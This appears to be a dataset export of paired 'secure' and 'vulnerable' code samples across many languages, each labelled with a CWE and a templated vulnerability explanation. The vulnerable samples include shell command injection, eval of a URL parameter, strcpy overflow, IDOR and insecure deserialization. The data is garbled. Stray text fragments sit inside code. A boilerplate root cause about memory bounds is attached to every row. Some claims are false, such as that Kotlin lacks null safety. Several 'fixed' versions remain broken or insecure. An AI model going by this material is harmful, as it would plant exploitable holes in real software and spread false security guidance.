cyber_169dc235b29a | vulnerability_research_cve | CWE-362 | Write a swift code that creates a bank account class and a function to transfer money between two accounts concurrently. The function should take two bank account instances and an amount as parameters. It should subtract the amount from the first account and add it to the second account in separate threads. | Target: swift implementation for Write a swift code that creates a bank account class and a function to.
Vulnerability Vector: The Swift language does not have built-in support for multithreading, which coul (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
class BankAccount {
private var balance: AtomicInt
init(balance: Int = 0) {
self.balance = AtomicInt(balance)
}
func withdraw(amount: Int) -> Bool {
getExpectedOldValue: Int { oldValue in
guard oldValue >= amount else { return false }
... | <think>
Target: swift implementation for Write a swift code that creates a bank account class and a function to.
Vulnerability Vector: The Swift language does not have built-in support for multithreading, which coul (CWE-362).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
class BankAccount {
var balance: Int = 0
}
func transfer(_ from: BankAccount, _ to: BankAccount, amount: Int) {
DispatchQueue.global().async {
from.balance -= amount
}
DispatchQueue.global().async {
to.balance += amount
}
}
let account1 = BankAccoun... | 467 | 0.53 |
cyber_a4da10086c91 | vulnerability_research_cve | CWE-476 | Write a kotlin code that creates an instance of a 'User' class and prints out the length of the 'name' property of the 'User' object. However, since the 'name' property is null, it will throw a NullPointerException. | Target: kotlin implementation for Write a kotlin code that creates an instance of a 'User' class and pri.
Vulnerability Vector: Kotlin has no built-in null safety features, which can lead to NullPointerExcept (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
fun main(args: Array<String>) {
val user = User()
println(user.name?.length ?: 0) // This will handle null case and won't throw NullPointerException
}
class User {
var name: String? = null
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that creates an instance of a 'User' class and pri.
Vulnerability Vector: Kotlin has no built-in null safety features, which can lead to NullPointerExcept (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
fun main(args: Array<String>) {
val user = User()
println(user.name.length) // This will throw NullPointerException
}
class User {
var name: String? = null
}
``` | 186 | 0.72 |
cyber_cb550a13d41b | vulnerability_research_cve | CWE-20 | Write a c# code that parses a string into a DateTime object. If the string is not a valid date, it will throw an exception. | Target: c# implementation for Write a c# code that parses a string into a DateTime object. If the st.
Vulnerability Vector: The `DateTime.Parse` method does not handle invalid dates gracefully, leading to (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Globalization;
class Program
{
static void Main()
{
string dateString = "This is not a valid date";
DateTime parsedDate;
CultureInfo provider = CultureInfo.InvariantCulture;
string format = "dd/MM/yyyy HH:mm:ss";
// Define the style.
... | <think>
Target: c# implementation for Write a c# code that parses a string into a DateTime object. If the st.
Vulnerability Vector: The `DateTime.Parse` method does not handle invalid dates gracefully, leading to (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
class Program
{
static void Main()
{
string dateString = "This is not a valid date";
DateTime parsedDate = DateTime.Parse(dateString);
Console.WriteLine("Parsed Date: " + parsedDate);
}
}
``` | 284 | 0.51 |
cyber_752a56cf4467 | vulnerability_research_cve | CWE-787 | Write a swift code that takes a string as an input and returns a string. The function should create a buffer of size 1024 bytes. If the input string length is greater than the buffer size, the function should truncate the input string to fit into the buffer. Otherwise, it should copy the entire input string into the bu... | Target: swift implementation for Write a swift code that takes a string as an input and returns a strin.
Vulnerability Vector: A buffer overflow vulnerability may occur if the Swift programmer doesn't correc (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func goodFunction(_ input: String) -> String? {
let inputData = input.utf8
let bufferSize = 1024
guard inputData.count <= bufferSize else {
print("Error: Input string is too long for the buffer.")
return nil
}
var buffer = Array(repeating: 0, cou... | <think>
Target: swift implementation for Write a swift code that takes a string as an input and returns a strin.
Vulnerability Vector: A buffer overflow vulnerability may occur if the Swift programmer doesn't correc (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func badFunction(_ input: String) -> String {
var buffer = Array<UInt8>(repeating: 0, count: 1024)
let inputData = input.utf8
if inputData.count > buffer.count {
// This is where the buffer overflow occurs, we are writing more data than our buffer can hold
buffer ... | 295 | 0.81 |
cyber_7d0c3da6e886 | vulnerability_research_cve | CWE-20 | Write a go code that declares an array of 5 integers, then populates it with numbers from 0 to 4 and prints it out. | Target: go implementation for Write a go code that declares an array of 5 integers, then populates i.
Vulnerability Vector: Go does not have automatic memory management and does not perform bounds checkin (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import "fmt"
func main() {
var arr [5]int
for i := 0; i < 5; i++ {
arr[i] = i
}
fmt.Println(arr)Bs
}
``` | <think>
Target: go implementation for Write a go code that declares an array of 5 integers, then populates i.
Vulnerability Vector: Go does not have automatic memory management and does not perform bounds checkin (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import "fmt"
func main() {
var arr [5]int
for i := 0; i <= 5; i++ {
arr[i] = i
}
fmt.Println(arr)
}
``` | 175 | 0.78 |
cyber_b1083b332324 | vulnerability_research_cve | CWE-787 | Write a kotlin code that reads an integer from the console, checks if it's within a range of 1 to 1024. If it is, generate a random byte array of size equal to the input number. | Target: kotlin implementation for Write a kotlin code that reads an integer from the console, checks if .
Vulnerability Vector: Improper input validation in Kotlin code may lead to buffer overflow attacks. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```kotlin
import java.util.*
fun main(args: Array<String>) {
val input = readLine()?.toIntOrNull()
if (input != null && input in 1..1024) {
val buffer = ByteArray(input)
val random = Random()
for (i in buffer.indices) {
buffer[i] = random.nextInt(256).toByte()
} cove... | <think>
Target: kotlin implementation for Write a kotlin code that reads an integer from the console, checks if .
Vulnerability Vector: Improper input validation in Kotlin code may lead to buffer overflow attacks. (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```kotlin
fun main(args: Array<String>) {
val input = readLine()?.toInt() ?: 0
val buffer = ByteArray(1024)
if (input > 0 && input <= buffer.size) {
for (i in 0 until input) {
buffer[i] = (Math.random() * 256).toByte()
}
}
}
``` | 253 | 0.7 |
cyber_ade2363f7e6d | vulnerability_research_cve | CWE-20 | Write a fortran code that reads two integers and two real numbers from the user. Add the two integers and multiply the two real numbers. Then print the results. | Target: fortran implementation for Write a fortran code that reads two integers and two real numbers from.
Vulnerability Vector: The use of uninitialized variables may lead to unexpected results or crashes". (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```fortran
program main
implicit none
integer :: i, j, k
real :: x, y, z
! Initialize variables
i = 0
j = 0
x = 0.0
y = 0.0
z = 0.0
k = 0
! Read values for i, j
write(*,*) 'Enter values for i, j:'
read(*,*) i, j
! Read value for x
write(*,*) 'Enter value fo... | <think>
Target: fortran implementation for Write a fortran code that reads two integers and two real numbers from.
Vulnerability Vector: The use of uninitialized variables may lead to unexpected results or crashes". (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```fortran
program main
implicit none
integer :: i, j, k
real :: x, y, z
! Uninitialized variables
write(*,*) 'Enter values for i, j:'
read(*,*) i, j
! Uninitialized variable
write(*,*) 'Enter value for x:'
read(*,*) x
! Uninitialized variable
write(*,*) 'Enter value for y... | 364 | 0.76 |
cyber_236b8f0f4710 | vulnerability_research_cve | CWE-787 | Write a c++ code that defines a function `foo` which takes a character pointer as an argument. Inside `foo`, declare a character array `buffer` of size 10. Then use the `strcpy` function from the `<cstring>` library to copy the content of the input character pointer into the `buffer`. In the `main` function, declare a ... | Target: c++ implementation for Write a c++ code that defines a function `foo` which takes a character.
Vulnerability Vector: The 'strcpy' function in C++ does not check for buffer overflows, which could le (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```c++
#include <cstring>
#include <iostream>
void foo(const char* input) {
const size_t bufferSize = 10;
char buffer[bufferSize + 1]; // +1 for null terminator
strncpy(buffer, input, bufferSize);
buffer[bufferSize] = '\0'; // Ensure null termination
std::cout << buffer << std::endl;
}
int main() ... | <think>
Target: c++ implementation for Write a c++ code that defines a function `foo` which takes a character.
Vulnerability Vector: The 'strcpy' function in C++ does not check for buffer overflows, which could le (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```c++
#include <cstring>
void foo(char* input) {
char buffer[10];
strcpy(buffer, input);
}
int main() {
char large_input[20] = "This is a large input";
foo(large_input);
return 0;
}
``` | 273 | 0.56 |
cyber_b0d52aeeda5e | vulnerability_research_cve | CWE-20 | Write a php code that accepts user input via GET method, assigns it to a variable, and then uses the extract() function to convert the variable into variables. The vulnerability in this code comes from the fact that the variable name is directly derived from user input without any validation or sanitization. This can l... | Target: php implementation for Write a php code that accepts user input via GET method, assigns it to.
Vulnerability Vector: PHP's `extract()` function can lead to untrusted user input being used as variab (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$userInput = $_GET['input']; // Assume this is user input
// Validate and sanitize the user input
$userInput = filter_var($userInput, FILTER_SANITIZE_STRING);
if (!preg_match('/^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$/', $userInput)) {
die('Invalid input');
}
// Now we can safely use the variable... | <think>
Target: php implementation for Write a php code that accepts user input via GET method, assigns it to.
Vulnerability Vector: PHP's `extract()` function can lead to untrusted user input being used as variab (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$userInput = $_GET['input']; // Assume this is user input
// Assume there is no validation or sanitization of the user input
$variableName = $userInput;
// Vulnerable line:
extract($variableName);
// This line is not executed because $variableName was set to 'untrustedUserInput', which is not a valid ... | 266 | 0.67 |
cyber_c7b8fd947291 | vulnerability_research_cve | CWE-787 | Write a go code that generates a random string of a given length using the characters 'a' to 'z', 'A' to 'Z', and '0' to '9'. The length of the string should be 1024. | Target: go implementation for Write a go code that generates a random string of a given length using.
Vulnerability Vector: In Go, a buffer overflow vulnerability can occur through improper handling of st (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"crypto/rand"
"fmt"
"math/big"
)
func main() {
randomString, err := generateRandomString(1024)
if err != nil {
fmt.Println("Error generating random string:", err)
return
}
fmt.Println(randomString)
}
func generateRandomString(length int) (string, error) {
const letters = "abcd... | <think>
Target: go implementation for Write a go code that generates a random string of a given length using.
Vulnerability Vector: In Go, a buffer overflow vulnerability can occur through improper handling of st (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"math/rand"
"time"
)
func main() {
rand.Seed(time.Now().UnixNano())
randomString := generateRandomString(1024)
fmt.Println(randomString)
}
func generateRandomString(length int) string {
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
s... | 366 | 0.72 |
cyber_57daf076f5ea | vulnerability_research_cve | CWE-20 | Write a python code that validates a password based on certain conditions. The password should be at least 8 characters long, contain at least one digit, one uppercase letter, one lowercase letter, and one special character from the set '_@$'. If the password does not meet these conditions, raise a ValueError with an a... | Target: python implementation for Write a python code that validates a password based on certain conditi.
Vulnerability Vector: In Python, improper handling of exception may lead to unintended information dis (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```python
import re
import sys
def validate_password(password):
if len(password) < 8:
raise ValueError("Password too short")
if not re.search('[0-9]', password):
raise ValueError("Password must contain a number")
if not re.search('[A-Z]', password):
raise ValueError("Password must ... | <think>
Target: python implementation for Write a python code that validates a password based on certain conditi.
Vulnerability Vector: In Python, improper handling of exception may lead to unintended information dis (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```python
import re
import sys
def validate_password(password):
try:
if len(password) < 8:
raise ValueError("Password too short")
elif re.search('[0-9]', password) is None:
raise ValueError("Password must contain a number")
elif re.search('[A-Z]', password) is None: ... | 296 | 0.94 |
cyber_defb48aa921b | vulnerability_research_cve | CWE-78 | Write a c# code that asks the user for their name and then executes a command prompt command to print out the user's name. | Target: c# implementation for Write a c# code that asks the user for their name and then executes a .
Vulnerability Vector: Improper Input Validation in C# can lead to Remote Code Execution vulnerabilitie (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Diagnostics;
using System.Text.RegularExpressions;
public class Program
{
public static void Main(string[] args)
{
Console.WriteLine("Enter your name:");
string userInput = Console.ReadLine();
// Validate input to prevent Remote Code Execution
i... | <think>
Target: c# implementation for Write a c# code that asks the user for their name and then executes a .
Vulnerability Vector: Improper Input Validation in C# can lead to Remote Code Execution vulnerabilitie (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Diagnostics;
using System.IO;
public class Program
{
public static void Main(string[] args)
{
Console.WriteLine("Enter your name:");
string userInput = Console.ReadLine();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName =... | 403 | 0.62 |
cyber_ecb27abe9512 | vulnerability_research_cve | CWE-20 | Write a php code that gets a command from the URL parameter 'cmd', evaluates it using the eval function, stores it in an array and extracts it. Then print the evaluated command. | Target: php implementation for Write a php code that gets a command from the URL parameter 'cmd', eva.
Vulnerability Vector: PHP's `extract()` function can be exploited to execute arbitrary code due to its (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$_GET['cmd'] = 'ls';
$cmd = $_GET['cmd'];
eval('$command = '.$cmd.';');
$array = array('command'=>$cmd);
foreach($array as $key => $value) {
$$key = filter_var($value, FILTER_SANITIZE_STRING);
}
echo $command;
?>
``` | <think>
Target: php implementation for Write a php code that gets a command from the URL parameter 'cmd', eva.
Vulnerability Vector: PHP's `extract()` function can be exploited to execute arbitrary code due to its (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$_GET['cmd'] = 'ls';
$cmd = $_GET['cmd'];
eval('$command = '.$cmd.';');
$array = array('command'=>$cmd);
extract($array);
echo $command;
?>
``` | 206 | 0.65 |
cyber_df7a4e4d9732 | vulnerability_research_cve | CWE-787 | Write a swift code that defines a struct named 'User' with properties 'name' and 'age'. Then define a class named 'UserManager' which has an array property 'users' to store instances of 'User'. The 'UserManager' class should have two methods: 'addUser' which takes parameters 'name' and 'age' and creates a new instance ... | Target: swift implementation for Write a swift code that defines a struct named 'User' with properties .
Vulnerability Vector: A buffer overflow vulnerability in Swift could occur if a programmer does not pr (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
struct User {
var name: String
var age: Int
}
class UserManager {
private(set) var users = [User]()
func addUser(name: String, age: Int) {
let newUser = User(name: name, age: age)
users.append(newUser)
}
func getUserNames() -> [String] {
... | <think>
Target: swift implementation for Write a swift code that defines a struct named 'User' with properties .
Vulnerability Vector: A buffer overflow vulnerability in Swift could occur if a programmer does not pr (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
struct User {
var name: String
var age: Int
}
class UserManager {
var users = [User]()
func addUser(name: String, age: Int) {
let newUser = User(name: name, age: age)
users.append(newUser)
}
func getUserNames() -> [String] {
var name... | 283 | 0.99 |
cyber_1c0aeaeb3f8e | vulnerability_research_cve | CWE-787 | Write a go code that reads a file from an input argument and writes its content into another output file specified in another argument. | Target: go implementation for Write a go code that reads a file from an input argument and writes it.
Vulnerability Vector: There is a potential buffer overflow vulnerability in Go when dealing with strin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
"io/ioutil"
"os"
)
func main() {
args := os.Args[1:]
if len(args) != 2 {
fmt.Println("Usage: <program> <input> <output>")lowing the best practices and using efficient methods.
return
}
data, err := ioutil.ReadFile(args[0])
if err != nil {
fmt.Println("Error reading fil... | <think>
Target: go implementation for Write a go code that reads a file from an input argument and writes it.
Vulnerability Vector: There is a potential buffer overflow vulnerability in Go when dealing with strin (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
args := os.Args[1:]
if len(args) != 2 {
fmt.Println("Usage: <program> <input> <output>")
return
}
data, err := os.ReadFile(args[0])
if err != nil {
fmt.Println("Error reading file:", err)
return
}
err = os.WriteFile(args[1], data, 0644)
if err... | 298 | 0.81 |
cyber_00109233de95 | vulnerability_research_cve | CWE-787 | Write a fortran code that prints 'Hello John Doe'. | Target: fortran implementation for Write a fortran code that prints 'Hello John Doe'..
Vulnerability Vector: Potential buffer overflow vulnerability due to insufficient memory allocation fo (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy: Enfor... | ```fortran
program main
implicit none
character(:), allocatable :: name
name = "John Doe"
print*, "Hello ", name
end program main
``` | <think>
Target: fortran implementation for Write a fortran code that prints 'Hello John Doe'..
Vulnerability Vector: Potential buffer overflow vulnerability due to insufficient memory allocation fo (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strateg... | ```fortran
program main
implicit none
character(len=5) :: name
name = "John Doe"
print*, "Hello ", name
end program main
``` | 147 | 0.8 |
cyber_b4f72062748f | vulnerability_research_cve | CWE-78 | Write a java code that takes user input, stores it in a variable, concatenates it with a string 'echo', and executes it using the Runtime.getRuntime().exec() method. | Target: java implementation for Write a java code that takes user input, stores it in a variable, conc.
Vulnerability Vector: Unvalidated input from untrusted sources can lead to command injection attacks. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```java
import java.io.*;
import java.util.regex.Pattern;
public class Main {
private static final Pattern COMMAND_INJECTION = Pattern.compile("[;&|<>]");
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
S... | <think>
Target: java implementation for Write a java code that takes user input, stores it in a variable, conc.
Vulnerability Vector: Unvalidated input from untrusted sources can lead to command injection attacks. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```java
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
BufferedReader reader = new BufferedReader(new InputStreamReader(System.in));
System.out.println("Enter your name: ");
String userInput = reader.readLine();
String command = "ec... | 290 | 0.6 |
cyber_d92072751284 | vulnerability_research_cve | CWE-639 | Write a c# code that creates an API controller named 'UserController' in the namespace 'InsecureIDOR.Controllers'. This controller has two methods, one for getting a user by their ID and another for creating a new user. The 'Get' method retrieves a user from a list of users based on their ID. If the user is not found, ... | Target: c# implementation for Write a c# code that creates an API controller named 'UserController' .
Vulnerability Vector: Insecure Direct Object Reference (IDOR) allows attackers to access sensitive dat (CWE-639).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
namespace SecureIDOR.Controllers
{
[ApiController]
[Route("[controller]")]
public class UserController : ControllerBase
{
pr... | <think>
Target: c# implementation for Write a c# code that creates an API controller named 'UserController' .
Vulnerability Vector: Insecure Direct Object Reference (IDOR) allows attackers to access sensitive dat (CWE-639).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Logging;
namespace InsecureIDOR.Controllers
{
[ApiController]
[Route("[controller]")]
public class UserController : ControllerBase
{
... | 453 | 0.83 |
cyber_335ef1fcb9b7 | vulnerability_research_cve | CWE-20 | Write a go code that converts a string into an integer and prints the converted number. If there's an error during the conversion, print an error message. | Target: go implementation for Write a go code that converts a string into an integer and prints the .
Vulnerability Vector: The 'strconv' package in Go doesn't handle errors correctly when converting stri (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"strconv"
)Bs
func main() {
numStr := "100"
num, err := strconv.Atoi(numStr)
if err != nil {
fmt.Println("Error during conversion:", err)
} else {
fmt.Println("Converted number:", num)
}
}
``` | <think>
Target: go implementation for Write a go code that converts a string into an integer and prints the .
Vulnerability Vector: The 'strconv' package in Go doesn't handle errors correctly when converting stri (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"fmt"
"strconv"
)
func main() {
numStr := "100"
num, err := strconv.Atoi(numStr)
if err != nil {
fmt.Println("Error during conversion")
} else {
fmt.Println("Converted number:", num)
}
}
``` | 210 | 0.81 |
cyber_d12603fa3a92 | vulnerability_research_cve | CWE-78 | Write a java code that performs insecure deserialization. The code should create an object output stream, write an object to it, convert it into a byte array input stream, read the object from the stream and print it out. | Target: java implementation for Write a java code that performs insecure deserialization. The code sho.
Vulnerability Vector: Insecure Deserialization in Java can lead to Remote Code Execution. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy: En... | ```java
import java.io.*;
public class SecureSerialization {
public static void main(String[] args) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("safeCode");
ByteArrayIn... | <think>
Target: java implementation for Write a java code that performs insecure deserialization. The code sho.
Vulnerability Vector: Insecure Deserialization in Java can lead to Remote Code Execution. (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Stra... | ```java
import java.io.*;
public class InsecureDeserialization {
public static void main(String[] args) {
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject("maliciousCode");
By... | 285 | 0.76 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.